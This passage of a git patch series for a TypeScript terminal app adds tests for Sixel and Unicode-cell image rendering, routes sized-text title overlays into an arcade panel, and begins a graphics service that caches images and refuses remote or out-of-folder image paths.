() => [1, 2, 3, 0]), {transparent: true}); + assert.equal(decodeSixel(all).data.every(v => v === 0), true); + assert.deepEqual([...decodeSixel(encodeSixel(make(1, 1, () => [200, 0, 0, 0]), {background: {red: 0, green: 0, blue: 255}})).data], [0, 0, 255, 255]); +}); + +test('extreme shapes work: 1x1, 1xN, Nx1, and partial bands', () => { + for (const [w, h] of [[1, 1], [1, 13], [200, 1], [5, 6], [5, 7], [3, 12]] as const) { + const src = make(w, h, (x, y) => [(x * 70) & 255, (y * 40) & 255, 255, 255]); + const out = decodeSixel(encodeSixel(src, {maxColors: 256})); + assert.equal(out.width, w); + assert.equal(out.height, h); + assert.ok(maxError(src, out) <= 3, `${w}x${h}`); + } +}); + +test('size limits refuse with ImageError too-large, bad input is malformed', () => { + const tooWide = {width: 4097, height: 1, data: new Uint8ClampedArray(4097 * 4)}; + const tooTall = {width: 1, height: 4097, data: new Uint8ClampedArray(4097 * 4)}; + for (const raster of [tooWide, tooTall]) assert.throws(() => encodeSixel(raster), (error: unknown) => error instanceof ImageError && error.code === 'too-large'); + assert.equal(SIXEL_MAX_PIXELS, 4096 * 4096); + assert.ok(encodeSixel({width: 4096, height: 1, data: new Uint8ClampedArray(4096 * 4)}).length > 0); + assert.throws(() => encodeSixel({width: 2, height: 2, data: new Uint8ClampedArray(3)}), (error: unknown) => error instanceof ImageError && error.code === 'malformed'); +}); + +test('deterministic, and seeded fuzzing never throws anything but ImageError', () => { + let seed = 99; + const rnd = () => { seed = (Math.imul(seed, 1664525) + 1013904223) >>> 0; return seed / 2 ** 32; }; + for (let n = 0; n < 60; n += 1) { + const w = 1 + Math.floor(rnd() * 30); + const h = 1 + Math.floor(rnd() * 30); + const src = make(w, h, () => [rnd() * 256, rnd() * 256, rnd() * 256, rnd() < 0.4 ? rnd() * 256 : 255]); + const options = {maxColors: ([16, 64, 128, 256] as const)[Math.floor(rnd() * 4)]!, dither: (['none', 'ordered', 'floyd'] as const)[Math.floor(rnd() * 3)]!, transparent: rnd() < 0.5}; + const text = encodeSixel(src, options); + assert.equal(encodeSixel(src, options), text); + const out = decodeSixel(text); + assert.equal(out.width, w); + assert.ok(!text.includes('NaN')); + } +}); diff --git a/tests/graphicsEncodeUnicode.test.ts b/tests/graphicsEncodeUnicode.test.ts new file mode 100644 index 00000000..dfb17b2f --- /dev/null +++ b/tests/graphicsEncodeUnicode.test.ts @@ -0,0 +1,158 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {ImageError, type Raster} from '../src/graphics/raster.js'; +import {renderCells, type CellMode, type CellOptions} from '../src/graphics/unicode.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +type Px = [number, number, number, number]; +const make = (width: number, height: number, pixel: (x: number, y: number) => Px): Raster => { + const data = new Uint8ClampedArray(width * height * 4); + for (let y = 0; y < height; y += 1) for (let x = 0; x < width; x += 1) data.set(pixel(x, y), (y * width + x) * 4); + return {width, height, data}; +}; +const WHITE: Px = [255, 255, 255, 255]; +const BLACK: Px = [0, 0, 0, 255]; +const opts = (patch: Partial = {}): CellOptions => ({columns: 1, rows: 1, mode: 'quadrant', color: 'truecolor', safe: false, ...patch}); +const MODES: CellMode[] = ['half', 'quadrant', 'braille', 'ascii']; +const LEVELS = ['none', 'ansi16', 'ansi256', 'truecolor'] as const; +const gradient = (w: number, h: number) => make(w, h, (x, y) => [(x * 255) / Math.max(1, w - 1), (y * 255) / Math.max(1, h - 1), 128, 255]); +const checker = (w: number, h: number) => make(w, h, (x, y) => ((x + y) % 2 ? WHITE : BLACK)); +const SGR = /\u001B\[[0-9;]*m/gu; +const onlyGlyphsAndSgr = (row: string) => !/[\u0000-\u001F\u007F-\u009F]/u.test(row.replace(SGR, '')); + +test('every row is exactly `columns` cells wide in every mode, level and shape', () => { + const shapes: Raster[] = [gradient(40, 30), checker(16, 16), make(8, 8, () => BLACK), make(1, 1, () => WHITE), make(1, 50, () => WHITE), make(50, 1, () => WHITE), make(400, 3, () => WHITE), make(3, 400, () => WHITE), make(20, 20, (x) => (x < 10 ? [1, 2, 3, 0] : WHITE))]; + for (const raster of shapes) for (const mode of MODES) for (const color of LEVELS) for (const safe of [false, true]) { + const art = renderCells(raster, opts({columns: 30, rows: 8, mode, color, safe})); + assert.equal(art.rows.length, art.height); + assert.ok(art.height >= 1 && art.height <= 8 && art.columns >= 1 && art.columns <= 30); + for (const row of art.rows) { + assert.equal(displayWidth(row), art.columns, `${mode}/${color}/${safe}`); + assert.ok(onlyGlyphsAndSgr(row)); + } + } +}); + +test('the image keeps its aspect ratio inside columns x rows', () => { + assert.deepEqual(pick(renderCells(checker(100, 100), opts({columns: 40, rows: 40, mode: 'half'}))), [40, 20]); + assert.deepEqual(pick(renderCells(checker(200, 50), opts({columns: 40, rows: 40, mode: 'quadrant'}))), [40, 5]); + assert.deepEqual(pick(renderCells(checker(1, 1), opts({columns: 9, rows: 9}))), [9, 5]); +}); +const pick = (art: {columns: number; height: number}) => [art.columns, art.height]; + +test("color 'none' emits no escape sequences and keeps the shape", () => { + for (const mode of MODES) for (const safe of [false, true]) { + const art = renderCells(gradient(30, 20), opts({columns: 20, rows: 6, mode, color: 'none', safe})); + for (const row of art.rows) assert.ok(!row.includes('\u001B')); + } + const art = renderCells(make(2, 2, (x, y) => (x === 0 && y === 0 ? WHITE : BLACK)), opts({color: 'none'})); + assert.deepEqual(art.rows, ['▘']); +}); + +test('safe mode produces only printable ASCII (bytes 0x20-0x7e) and uses the ramp', () => { + for (const mode of MODES) { + const art = renderCells(gradient(60, 40), opts({columns: 30, rows: 10, mode, color: 'none', safe: true})); + for (const row of art.rows) for (const byte of Buffer.from(row, 'utf8')) assert.ok(byte >= 0x20 && byte <= 0x7e); + } + const art = renderCells(make(2, 1, x => (x ? WHITE : BLACK)), opts({columns: 2, rows: 1, color: 'none', safe: true, mode: 'braille'})); + assert.deepEqual(art.rows, [' @']); + // Color escapes still follow `color`, but the glyphs between them are ASCII. + const colored = renderCells(gradient(30, 20), opts({columns: 10, rows: 4, safe: true})); + for (const row of colored.rows) assert.match(stripAnsi(row), /^[\x20-\x7e]+$/u); +}); + +test('color levels map to the matching SGR forms', () => { + const red = make(1, 2, () => [200, 40, 40, 255]); + const half = (color: CellOptions['color']) => renderCells(red, opts({mode: 'half', color})).rows[0]!; + assert.equal(half('truecolor'), '\u001B[38;2;200;40;40m█\u001B[0m'); + assert.match(half('ansi256'), /^\u001B\[38;5;\d+m█\u001B\[0m$/u); + assert.match(half('ansi16'), /^\u001B\[(?:3\d|9\d)m█\u001B\[0m$/u); + assert.equal(half('none'), '░'); + const two = make(1, 2, (_x, y) => (y ? [0, 0, 255, 255] : [255, 0, 0, 255])); + assert.equal(renderCells(two, opts({mode: 'half'})).rows[0], '\u001B[38;2;255;0;0m\u001B[48;2;0;0;255m▀\u001B[0m'); + assert.match(renderCells(two, opts({mode: 'half', color: 'ansi16'})).rows[0]!, /^\u001B\[91m\u001B\[104m▀\u001B\[0m$/u); +}); + +test('quadrant picks the exact glyph for the 15 canonical 2x2 patterns', () => { + const glyphs = ['', '▘', '▝', '▀', '▖', '▌', '▞', '▛', '▗', '▚', '▐', '▜', '▄', '▙', '▟', '█']; + for (let mask = 1; mask < 16; mask += 1) { + const raster = make(2, 2, (x, y) => (mask & (1 << (y * 2 + x)) ? WHITE : BLACK)); + const row = renderCells(raster, opts()).rows[0]!; + assert.equal(stripAnsi(row), glyphs[mask], `mask ${mask}`); + if (mask < 15) assert.equal(row, `\u001B[38;2;255;255;255m\u001B[48;2;0;0;0m${glyphs[mask]}\u001B[0m`); + } + // Two colors that are not black/white pick the least-squares split and the brighter side is the foreground. + const split = make(2, 2, (x) => (x ? [250, 200, 0, 255] : [0, 0, 120, 255])); + assert.equal(renderCells(split, opts()).rows[0], '\u001B[38;2;250;200;0m\u001B[48;2;0;0;120m▐\u001B[0m'); + // A three-color cell splits where the error is least: the odd pixel joins its nearer neighbour. + const three = make(2, 2, (x, y) => (x === 1 && y === 1 ? [200, 0, 0, 255] : x === 1 || y === 1 ? [190, 0, 0, 255] : [0, 0, 255, 255])); + assert.equal(stripAnsi(renderCells(three, opts()).rows[0]!), '▟'); +}); + +test('braille uses the standard dot bit order, fg = lit mean, bg = unlit mean', () => { + const bits = [[0x01, 0x02, 0x04, 0x40], [0x08, 0x10, 0x20, 0x80]]; + for (let x = 0; x < 2; x += 1) for (let y = 0; y < 4; y += 1) { + const raster = make(2, 4, (px, py) => (px === x && py === y ? [200, 100, 0, 255] : [0, 0, 100, 255])); + const row = renderCells(raster, opts({mode: 'braille'})).rows[0]!; + assert.equal(row, `\u001B[38;2;200;100;0m\u001B[48;2;0;0;100m${String.fromCharCode(0x2800 + bits[x]![y]!)}\u001B[0m`); + } + const left = make(2, 4, x => (x ? BLACK : WHITE)); + assert.equal(stripAnsi(renderCells(left, opts({mode: 'braille'})).rows[0]!), '⡇'); +}); + +test('transparency: unpainted without a background, composited with one', () => { + const clear = make(4, 4, () => [10, 20, 30, 0]); + for (const mode of MODES) { + assert.ok(renderCells(clear, opts({columns: 2, rows: 2, mode})).rows.every(row => row.trim() === ''), mode); + for (const row of renderCells(clear, opts({columns: 2, rows: 2, mode})).rows) assert.ok(!row.includes('\u001B')); + } + const withBg = renderCells(clear, opts({columns: 2, rows: 2, mode: 'half', background: {red: 5, green: 6, blue: 7}})); + assert.equal(withBg.rows[0], '\u001B[38;2;5;6;7m██\u001B[0m'); + // Half transparent: the painted half is drawn, the other half is left to the terminal. + const upper = make(1, 2, (_x, y) => (y ? [0, 0, 0, 0] : [9, 9, 9, 255])); + assert.equal(renderCells(upper, opts({mode: 'half'})).rows[0], '\u001B[38;2;9;9;9m▀\u001B[0m'); + const lower = make(1, 2, (_x, y) => (y ? [9, 9, 9, 255] : [0, 0, 0, 0])); + assert.equal(renderCells(lower, opts({mode: 'half'})).rows[0], '\u001B[38;2;9;9;9m▄\u001B[0m'); + // A transparent edge in quadrant mode keeps the shape and leaves the background default. + const corner = make(2, 2, (x, y) => (x === 0 && y === 0 ? [9, 9, 9, 255] : [0, 0, 0, 0])); + assert.equal(renderCells(corner, opts()).rows[0], '\u001B[38;2;9;9;9m▘\u001B[0m'); +}); + +test('identical adjacent SGR runs are merged and rows end with a reset only when styled', () => { + const solid = renderCells(make(8, 8, () => [1, 2, 3, 255]), opts({columns: 8, rows: 2, mode: 'half'})); + for (const row of solid.rows) { + assert.equal(row.match(/\u001B\[38/gu)?.length, 1); + assert.ok(row.endsWith('\u001B[0m')); + } + const bare = renderCells(make(8, 8, () => [1, 2, 3, 0]), opts({columns: 8, rows: 2, mode: 'half'})); + for (const row of bare.rows) assert.ok(!row.includes('\u001B')); +}); + +test('deterministic and never NaN or a non-ImageError failure under seeded fuzzing', () => { + let seed = 12345; + const rnd = () => { seed = (Math.imul(seed, 1664525) + 1013904223) >>> 0; return seed / 2 ** 32; }; + for (let n = 0; n < 150; n += 1) { + const w = 1 + Math.floor(rnd() * 40); + const h = 1 + Math.floor(rnd() * 40); + const raster = make(w, h, () => [rnd() * 256, rnd() * 256, rnd() * 256, rnd() < 0.3 ? rnd() * 256 : 255]); + const options = opts({columns: 1 + Math.floor(rnd() * 30), rows: 1 + Math.floor(rnd() * 12), mode: MODES[Math.floor(rnd() * 4)]!, color: LEVELS[Math.floor(rnd() * 4)]!, safe: rnd() < 0.2, ...(rnd() < 0.3 ? {background: {red: 20, green: 30, blue: 40}} : {})}); + const art = renderCells(raster, options); + assert.deepEqual(renderCells(raster, options), art); + for (const row of art.rows) { assert.ok(!row.includes('NaN') && !row.includes('undefined')); assert.equal(displayWidth(row), art.columns); } + } + for (const bad of [{columns: NaN, rows: -4}, {columns: 1e9, rows: 1e9}, {columns: 0.2, rows: Infinity}]) { + const art = renderCells(gradient(30, 30), opts(bad)); + assert.ok(art.columns >= 1 && art.height >= 1 && art.columns <= 1024 && art.height <= 1024); + } + assert.throws(() => renderCells({width: 2, height: 2, data: new Uint8ClampedArray(4)}, opts()), ImageError); +}); + +test('a large render is fast enough (quadrant, 1600x1200 -> 200x60 cells)', () => { + const big = make(1600, 1200, (x, y) => [(x * 255) / 1599, (y * 255) / 1199, (x ^ y) & 255, 255]); + renderCells(big, opts({columns: 200, rows: 60})); + const start = performance.now(); + const art = renderCells(big, opts({columns: 200, rows: 60})); + const elapsed = performance.now() - start; + assert.equal(art.height, 60); + assert.ok(elapsed < 400, `took ${elapsed.toFixed(1)} ms`); +}); From f29d8e22d01a97a480a125fd37af42c81d1d7c12 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:44:06 +0530 Subject: [PATCH 115/157] Typography: panel sized-text blocks reach the renderer; hub title is sized when scaling is verified --- src/app/TerminalApp.ts | 31 ++++++++++++++++++++++++++++++- src/arcade/ArcadeSession.ts | 11 +++++++---- src/arcade/Canvas.ts | 18 +++++++++++++++++- tests/textSizing.test.ts | 32 ++++++++++++++++++++++++++++++++ 4 files changed, 86 insertions(+), 6 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 8dd32c95..5ce318e5 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -293,6 +293,8 @@ import {splitBatch} from '../input/pasteBatch.js'; import {verifyCommands} from '../input/pasteBatchCheck.js'; import {WHY_FAILED} from '../ask/failure.js'; import {nmshConfigDirectory} from '../configuration/paths.js'; +import {configureTextSizing} from '../ui/textSizing.js'; +import type {TextOverlay} from '../arcade/Canvas.js'; import {createDoctorPanel, doctorKey, renderDoctorPanel, type DoctorPanelState} from '../doctor/DoctorPanel.js'; import {signatureAccent} from '../session/signatures.js'; import {renameSession} from '../session/SocketSessionClient.js'; @@ -3803,6 +3805,27 @@ export class TerminalApp { * /view: a completed output by its /copy number (the latest when no target is given), or a file relative to the * shell's directory. The file is read asynchronously and read-only; a failure is reported in the transcript. */ + /** Apply the Text sizing setting and the probe's evidence to the typography module whenever either changes. */ + private syncTypography(): void { + const capabilities = this.host.capabilities; + const key = `${this.promptConfiguration.textSizing}|${capabilities.textSizing?.scale ?? '-'}|${capabilities.textSizing?.width ?? '-'}`; + if (key === this.typographyKey) return; + this.typographyKey = key; + configureTextSizing({setting: this.promptConfiguration.textSizing, capabilities, env: process.env}); + } + + /** The panel's sized-text blocks at screen cells: only blocks that lie wholly inside the panel are ever placed. */ + private panelTextBlocks(plan: ScreenPlan, region: {top: number; height: number} | undefined): Array<{row: number; column: number; columns: number; rows: number; sequence: string}> { + if (!region || !plan.panelActive || !this.panelBlocks.length) return []; + const shift = plan.panelPosition === 'top' ? -1 : 0; + const columnShift = this.workspace.open ? this.workspaceColumns().center.x : 0; + return this.panelBlocks.flatMap(block => { + const row = region.top + block.y + shift; + return row >= region.top && row + block.rows <= region.top + region.height + ? [{row, column: block.x + columnShift, columns: block.columns, rows: block.rows, sequence: block.sequence}] : []; + }); + } + // ---- Vespyr Arcade ------------------------------------------------------------------------------------------ private arcadeEnvironment(): ArcadeEnvironment { @@ -5357,6 +5380,7 @@ export class TerminalApp { } private settingsPanelRows(columns: number): string[] { + this.panelBlocks = []; const minimum = this.panelMinimum(); const {rows} = this.dimensions(); if (minimum && !fits(minimum, columns, rows)) { @@ -5383,7 +5407,7 @@ export class TerminalApp { if (this.summaryReview) return renderReportReview(this.summaryReview.document, columns, this.dimensions().rows - 4); if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); - if (this.arcade) return this.arcade.session.render().rows; + if (this.arcade) { const arcadeFrame = this.arcade.session.render(); this.panelBlocks = arcadeFrame.overlays; return arcadeFrame.rows; } if (this.viewer) return renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); if (this.textEditor) return renderEditor(this.textEditor, columns, this.dimensions().rows - 4); if (this.background.panel) return framePanel(this.background.panelRows(Math.max(1, columns - 4), this.dimensions().rows - 4, @@ -9545,6 +9569,9 @@ export class TerminalApp { /** The Vespyr Arcade panel: owns keys and frames while open, nothing else. */ private arcade?: {session: ArcadeSession; stop?: () => void; interval: number; floor: number; last: number}; private arcadeStore?: ArcadeStore; + /** Sized-text blocks the active panel asked for this frame, relative to its rows (placed by render). */ + private panelBlocks: TextOverlay[] = []; + private typographyKey = ''; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); @@ -10957,6 +10984,7 @@ export class TerminalApp { } private render(): void { + this.syncTypography(); this.reconcileOutputNavigation(); if (this.stopped || this.passthrough || this.externalPassthrough || this.frontendSuspended) { this.cancelPresentation(); return; } this.hostSemantics.flush(); @@ -11159,6 +11187,7 @@ export class TerminalApp { cursorVisible: agentCaretRow !== undefined || (!plan.panelActive && plan.inputHeight > 0), }; this.renderer.setImageOverlay(this.aboutOverlay(plan, columns)); + this.renderer.setTextBlocks(this.panelTextBlocks(plan, panelRegion)); this.presentationFrame = {frame, plan, ...(agentCaretRow !== undefined ? {agentCaretRow} : {})}; this.paintPresentation(Date.now()); this.renderRail = undefined; diff --git a/src/arcade/ArcadeSession.ts b/src/arcade/ArcadeSession.ts index 805ffe7c..f65ab7ee 100644 --- a/src/arcade/ArcadeSession.ts +++ b/src/arcade/ArcadeSession.ts @@ -261,14 +261,16 @@ export class ArcadeSession { let overlays: TextOverlay[] = []; let hints: readonly ControlHint[]; if (this.screen === 'hub' || !this.game || !this.canvas) { - body = this.hubRows(palette, encode); + const hub = this.hubRows(palette, encode); + body = hub.rows; + overlays = hub.overlays; hints = [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'play'}, {keys: '1-5', action: 'jump'}, {keys: 'Esc', action: 'close'}]; } else { this.game.render(this.canvas, this.alpha, palette); if (this.screen === 'paused') this.drawCard(this.canvas, palette, 'Paused', [], this.menu!); else if (this.screen === 'over') this.drawOver(this.canvas, palette); body = this.canvas.rows(encode); - overlays = this.canvas.overlays.map(block => ({...block, y: block.y + 1})); + overlays = this.canvas.overlays.map(block => ({...block, y: block.y + 1, sequence: `${Canvas.styleEscape(block.style ?? {}, encode)}${block.sequence}\u001b[0m`})); hints = this.screen === 'playing' ? this.game.hints() : [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'select'}, {keys: 'Esc', action: this.screen === 'paused' ? 'resume' : 'arcade'}]; } const footer = renderControlRows(hints.map(hint => [hint.keys, hint.action] as const), this.columns).slice(0, this.footerRows()); @@ -277,7 +279,7 @@ export class ArcadeSession { return {rows: rows.slice(0, this.rowsAvailable), overlays}; } - private hubRows(palette: ArcadePalette, encode: {color: ColorLevel; safe: boolean}): string[] { + private hubRows(palette: ArcadePalette, encode: {color: ColorLevel; safe: boolean}): {rows: string[]; overlays: TextOverlay[]} { const width = this.columns; const height = Math.max(4, this.rowsAvailable - 1 - this.footerRows()); const canvas = new Canvas(width, height); @@ -324,7 +326,8 @@ export class ArcadeSession { this.describe(canvas, palette, chosen, 2, detailY, width - 4, height); } } - return canvas.rows(encode); + const overlays = canvas.overlays.map(block => ({...block, y: block.y + 1, sequence: `${Canvas.styleEscape(block.style ?? {}, encode)}${block.sequence}\u001b[0m`})); + return {rows: canvas.rows(encode), overlays}; } private describe(canvas: Canvas, palette: ArcadePalette, game: GameDefinition, x: number, y: number, width: number, height: number): void { diff --git a/src/arcade/Canvas.ts b/src/arcade/Canvas.ts index 060c0860..108d0dd2 100644 --- a/src/arcade/Canvas.ts +++ b/src/arcade/Canvas.ts @@ -49,6 +49,8 @@ export interface TextOverlay { rows: number; /** The escape that draws the block when the cursor is at its top-left cell. */ sequence: string; + /** Colors and weight to draw it with (the host turns them into an SGR prefix at the terminal's color level). */ + style?: Style; } export class Canvas { @@ -218,7 +220,7 @@ export class Canvas { */ typeBlock(block: TypeBlock, x: number, y: number, style: Style = {}): void { if (block.sized && x >= 0 && y >= 0 && x + block.sized.columns <= this.width && y + block.sized.rows <= this.height) { - this.overlay({x, y, columns: block.sized.columns, rows: block.sized.rows, sequence: block.sized.sequence}); + this.overlay({x, y, columns: block.sized.columns, rows: block.sized.rows, sequence: block.sized.sequence, style}); return; } block.plain.forEach((row, index) => this.text(x, y + index, row, style)); @@ -249,6 +251,20 @@ export class Canvas { return this.rows(options).map(row => row.replace(/\u001b\[[0-9;]*m/gu, '')); } + /** The SGR prefix for a style at an encoding (for sized-text blocks the host draws itself), and the reset that ends it. */ + static styleEscape(style: Style, options: EncodeOptions): string { + let out = ''; + if (style.bold) out += '\u001b[1m'; + if (style.dim) out += '\u001b[2m'; + if (style.italic) out += '\u001b[3m'; + if (style.underline) out += '\u001b[4m'; + if (options.color !== 'none') { + if (style.fg) out += colorEscape(38, style.fg, options.color); + if (style.bg) out += colorEscape(48, style.bg, options.color); + } + return out; + } + private encodeRow(y: number, options: EncodeOptions): string { let out = ''; let current = ''; diff --git a/tests/textSizing.test.ts b/tests/textSizing.test.ts index 59273dba..8d53cfb5 100644 --- a/tests/textSizing.test.ts +++ b/tests/textSizing.test.ts @@ -165,3 +165,35 @@ test('renderer: nothing is written while a program owns the screen, and a block r.instance.render(r.frame(['top', '', '', 'bottom'])); assert.match(r.writes.join(''), /\u001b\]66;s=2;Hello/u); }); + +// ---- the app: a panel's sized title reaches the renderer at the right screen cell ------------------------------------ + +import {executionFrameFixture} from './support/executionTimelineFrames.js'; +import {stripAnsi} from '../src/util/text.js'; + +test('app: with verified scaling the arcade hub title is placed as a sized block inside the panel, and plain text otherwise', async () => { + const frame = executionFrameFixture(110, 34); + const app = frame.app; + const placed: TextBlock[][] = []; + const original = app['renderer'].setTextBlocks.bind(app['renderer']); + app['renderer'].setTextBlocks = (blocks: readonly TextBlock[]) => { placed.push([...blocks]); original(blocks); }; + try { + app['host'].capabilities = {...app['host'].capabilities, textSizing: {scale: true, width: true}}; + app['typographyKey'] = ''; + process.env.TERM_PROGRAM = process.env.TERM_PROGRAM === 'ghostty' ? 'kitty' : process.env.TERM_PROGRAM; + await app['runSlash']('/games', {kind: 'arcade'}); + frame.capture(); + const withBlock = placed.at(-1)!; + const title = withBlock.find(block => block.sequence.includes('Vespyr Arcade')); + assert.ok(title, 'the hub title is a sized block'); + assert.match(title!.sequence, /\u001b\]66;s=2;Vespyr Arcade\u001b\\/u, 'the panel has no room for 3x here, so 2x'); + const rows = frame.capture().frame.rows.map(row => stripAnsi(row)); + for (let row = title!.row; row < title!.row + title!.rows; row += 1) { + assert.equal(rows[row]!.slice(title!.column, title!.column + title!.columns).trim(), '', 'the cells under the block are blank, so the terminal draws it on clean cells'); + } + app['promptConfiguration'].textSizing = 'off'; + frame.capture(); + assert.deepEqual(placed.at(-1), [], 'turning Text sizing off removes the block and draws the title as ordinary text'); + assert.match(frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n'), /Vespyr Arcade/u); + } finally { frame.dispose(); reset(); } +}); From 3cf216301fe2717e3aacb29e6277068a32f60fef Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:46:36 +0530 Subject: [PATCH 116/157] Graphics service: bounded cache, safe references, Kitty placeholder uploads with owner-scoped release, character art and overlay placements --- src/graphics/service.ts | 323 ++++++++++++++++++++++++++++++++++ tests/graphicsService.test.ts | 200 +++++++++++++++++++++ 2 files changed, 523 insertions(+) create mode 100644 src/graphics/service.ts create mode 100644 tests/graphicsService.test.ts diff --git a/src/graphics/service.ts b/src/graphics/service.ts new file mode 100644 index 00000000..3342f445 --- /dev/null +++ b/src/graphics/service.ts @@ -0,0 +1,323 @@ +import fs from 'node:fs/promises'; +import path from 'node:path'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import {createImageOverlay, iterm2Image, kittyDelete, kittyTransmit, type ImageOverlay} from '../presentation/ImageSurface.js'; +import type {GraphicsDecision} from './capabilities.js'; +import {decodeImage, readImageFile} from './decode.js'; +import {PLACEHOLDER_ID_BASE, PLACEHOLDER_ID_LIMIT, kittyDeleteImage, kittyVirtualPlacement, placeholderRows, MAX_PLACEHOLDER_SPAN} from './kittyPlaceholder.js'; +import {encodePng} from './pngEncode.js'; +import {ImageError, type ImageInfo, type Raster} from './raster.js'; +import {fitCells, scaleBox} from './scale.js'; +import {encodeSixel} from './sixel.js'; +import {renderCells} from './unicode.js'; + +/** + * NMSh's one graphics service. Every surface that shows an actual image (the viewer, Markdown and HTML documents, the + * browser's page frames) asks this service and nothing else; no surface decodes, scales, encodes, numbers, uploads, + * places, resizes, caches or deletes an image itself. Menus, text and selection controls are never images. + * + * load(path) -> a decoded, bounded `LoadedImage` (cached; remote and unsafe references are refused) + * place(image, box) -> a `Placement`: text rows to draw in the flow (Kitty Unicode placeholders, or character art), or a + * protocol overlay for iTerm2/Sixel on a surface the app positions + * release*() -> deletes what was uploaded to the terminal; called when a surface closes, when a program takes the + * screen and when NMSh exits, so no image outlives its owner + * + * Resource policy: file size, pixel count and inflation are bounded by the decoders; the cache holds at most + * `cacheBytes` of decoded pixels (six images by default); the terminal holds at most `uploadBytes` of uploaded data and + * the oldest upload is deleted first; stored images are reduced to at most `storeLongSide` pixels. + */ +export interface GraphicsHost { + decision(): GraphicsDecision; + /** Raw terminal bytes (an upload or a delete). Nothing may be written while a program owns the screen. */ + send(data: string): void; + /** A private directory for converters (WebP). */ + scratchDir(): string; + color(): ColorLevel; + safeGlyphs(): boolean; +} + +export interface GraphicsLimits { + cacheBytes: number; + cacheImages: number; + uploadBytes: number; + storeLongSide: number; + /** The longest side, in pixels, of anything uploaded for a placement. */ + uploadLongSide: number; +} + +export const DEFAULT_LIMITS: GraphicsLimits = {cacheBytes: 48 * 1024 * 1024, cacheImages: 6, uploadBytes: 32 * 1024 * 1024, storeLongSide: 1920, uploadLongSide: 2048}; + +export interface LoadedImage { + /** Stable for the life of the cache entry. */ + key: string; + name: string; + path: string; + info: ImageInfo; + /** Reduced to `storeLongSide`; `info` has the file's own size. */ + raster: Raster; + fileBytes: number; +} + +export type PlacementKind = 'kitty-placeholder' | 'character-art' | 'overlay' | 'text'; + +export interface PlacementOverlay { + key: string; + size: {columns: number; rows: number}; + transmit: string; + place: string; + cleanup: string; +} + +export interface Placement { + kind: PlacementKind; + /** The cells it occupies (an overlay is placed by the app at a screen cell). */ + columns: number; + rows: number; + /** Text rows, exactly `rows` of them, each `columns` cells wide (blank for an overlay). */ + lines: string[]; + overlay?: PlacementOverlay; + owner: unknown; +} + +export interface PlaceRequest { + columns: number; + rows: number; + /** Who is showing this: released together with `releaseOwner`. */ + owner: unknown; + /** `viewer` may use an overlay protocol; `inline` is always text cells. */ + surface: 'inline' | 'viewer'; + /** A region of the image to show (fractions 0..1), for zoom and pan. */ + crop?: {x: number; y: number; width: number; height: number}; + /** Allow the image to be shown larger than its own pixel size. */ + upscale?: boolean; +} + +interface Upload { + id: number; + bytes: number; + owners: Set; + at: number; +} + +export class GraphicsService { + private readonly cache = new Map(); + private cacheSize = 0; + private uploads = new Map(); + private uploadSize = 0; + private nextId = PLACEHOLDER_ID_BASE; + private clock = 0; + private readonly limits: GraphicsLimits; + + constructor(private readonly host: GraphicsHost, limits: Partial = {}) { + this.limits = {...DEFAULT_LIMITS, ...limits}; + } + + // ---- loading ------------------------------------------------------------------------------------------------ + + /** + * Resolve an image reference found in a document. Remote and `data:` references are never fetched; an absolute or + * relative path must resolve (symlinks included) inside `root`. The result is the real path, or an `unsafe` error saying why. + */ + static async resolveReference(reference: string, base: string, root: string): Promise { + const trimmed = reference.trim(); + if (!trimmed) throw new ImageError('unsafe', 'The image has no source.'); + if (/^[a-z][a-z0-9+.-]*:/iu.test(trimmed) && !/^[a-z]:[\\/]/iu.test(trimmed)) { + throw new ImageError('unsafe', /^https?:/iu.test(trimmed) ? 'Remote images are never fetched automatically.' : 'Only local image files are shown.'); + } + if (trimmed.includes('\0') || trimmed.startsWith('//')) throw new ImageError('unsafe', 'The image path is not valid.'); + let decoded = trimmed; + try { decoded = decodeURI(trimmed); } catch { /* keep the literal text */ } + const candidate = path.resolve(base, decoded.split(/[?#]/u)[0]!); + let real: string; + try { real = await fs.realpath(candidate); } + catch { throw new ImageError('unavailable', 'The image file was not found.'); } + const realRoot = await fs.realpath(root).catch(() => root); + const relative = path.relative(realRoot, real); + if (relative.startsWith('..') || path.isAbsolute(relative)) throw new ImageError('unsafe', 'The image lies outside this document\'s folder or project, so it is not shown.'); + return real; + } + + async load(realPath: string, signal?: AbortSignal): Promise { + const stat = await fs.stat(realPath).catch(() => undefined); + if (!stat) throw new ImageError('unavailable', 'The image file was not found.'); + const key = `${realPath}\0${stat.mtimeMs}\0${stat.size}`; + const hit = this.cache.get(key); + if (hit) { this.cache.delete(key); this.cache.set(key, hit); return hit; } + const {bytes} = await readImageFile(realPath); + const {info, raster} = await decodeImage(bytes, {scratchDir: this.host.scratchDir(), ...(signal ? {signal} : {})}); + const longest = Math.max(raster.width, raster.height); + const stored = longest > this.limits.storeLongSide + ? scaleBox(raster, Math.max(1, Math.round((raster.width * this.limits.storeLongSide) / longest)), Math.max(1, Math.round((raster.height * this.limits.storeLongSide) / longest))) + : raster; + const image: LoadedImage = {key, name: path.basename(realPath), path: realPath, info, raster: stored, fileBytes: stat.size}; + this.remember(image); + return image; + } + + private remember(image: LoadedImage): void { + const size = image.raster.data.length; + this.cache.set(image.key, image); + this.cacheSize += size; + while ((this.cacheSize > this.limits.cacheBytes || this.cache.size > this.limits.cacheImages) && this.cache.size > 1) { + const oldest = this.cache.keys().next().value as string; + const gone = 